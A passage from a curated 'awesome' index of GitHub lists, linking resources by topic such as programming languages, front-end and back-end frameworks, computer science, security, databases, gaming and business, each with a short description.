- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast.
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability.
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning.
- [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM.
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/sporto/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme)
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/aleksandar-todorovic/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software.
- [R](https://github.com/qinwf/awesome-R#readme)
- [D](https://github.com/zhaopuming/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere".
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language.
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme)
- [Assembler](https://github.com/lurumdare/awesome-asm#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
- [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript.
- [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen.
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library.
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit.
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/ooade/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
- [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components.
- [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly.
- [Web Performance Metrics](https://github.com/csabapalfi/awesome-web-performance-metrics#readme) - Metrics to help understand page speed and user experience.
- [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development.
- [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly.
## Back-End Development
- [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - Python framework.
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment.
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework.
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework.
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [Rails](https://github.com/ekremkaraca/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework.
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework.
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations.
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework.
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures.
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/bulutyazilim/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousmac/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
- [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
- [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps.
- [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing.
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Networking](https://github.com/MFatihMAR/Awesome-Game-Networking#readme) - Network programming for multiplayer online games.
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
- [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games.
- [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code.
- [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework.
- [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
- [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub.
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
- [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-eg#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
- [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager.
- [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
- [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data.
- [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme)
- [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU.
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/squaremetrics/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
- [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News.
- [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology.
- [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/Tom2718/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
## Higher Education
- [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system.
- [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values.
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme)
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [Continuous Integration and Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
